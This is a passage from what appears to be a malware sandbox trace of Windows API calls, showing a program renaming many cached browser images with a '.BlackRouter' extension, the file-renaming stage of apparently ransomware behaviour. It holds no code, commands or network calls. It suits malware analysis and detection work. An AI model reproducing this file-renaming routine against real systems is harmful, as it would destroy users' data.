halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe399c90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe399c90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcbd81610, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0062.637] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png.blackrouter")) returned 1 [0062.639] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3b9 [0062.646] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbde8add0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbde8add0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcbda7770, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1 [0062.646] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png.blackrouter")) returned 1 [0062.647] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x14d [0062.657] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f7f1f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f7f1f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbdcd8d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0062.657] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png.blackrouter")) returned 1 [0062.659] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x24b [0062.673] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457e4610, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457e4610, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbdf3a30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x250)) returned 1 [0062.673] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png.blackrouter")) returned 1 [0062.674] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x36c [0062.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538b8730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbdf3a30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x370)) returned 1 [0062.686] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png.blackrouter")) returned 1 [0062.688] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x29ed [0062.700] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60d4dd60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60d4dd60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbe19b90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x29f0)) returned 1 [0062.700] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png.blackrouter")) returned 1 [0062.703] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x333f [0062.717] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6421e580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6421e580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbe3fcf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3340)) returned 1 [0062.717] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg.blackrouter")) returned 1 [0062.719] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x90b [0062.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x532eb190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x532eb190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbe65e50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x910)) returned 1 [0062.723] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg.blackrouter")) returned 1 [0062.724] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x994 [0062.728] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53630fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53630fd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbe65e50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9a0)) returned 1 [0062.728] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg.blackrouter")) returned 1 [0062.729] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x28b9 [0062.738] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53467f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53467f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbe8bfb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x28c0)) returned 1 [0062.739] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg.blackrouter")) returned 1 [0062.740] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x176d [0062.749] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b65ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b65ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbeb2110, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1770)) returned 1 [0062.749] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg.blackrouter")) returned 1 [0062.750] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x6218 [0062.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d18e120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6d18e120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbeb2110, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6220)) returned 1 [0062.761] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg.blackrouter")) returned 1 [0062.763] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x75a [0062.767] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x532eb190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x532eb190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbed8270, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0062.767] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg.blackrouter")) returned 1 [0062.768] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2d89 [0062.775] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x537add90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x537add90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbed8270, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2d90)) returned 1 [0062.776] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg.blackrouter")) returned 1 [0062.777] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1e36 [0062.786] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5303d8d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5303d8d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbefe3d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1e40)) returned 1 [0062.786] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg.blackrouter")) returned 1 [0062.787] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1ee7 [0062.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53063a30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53063a30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbf24530, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1ef0)) returned 1 [0062.799] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 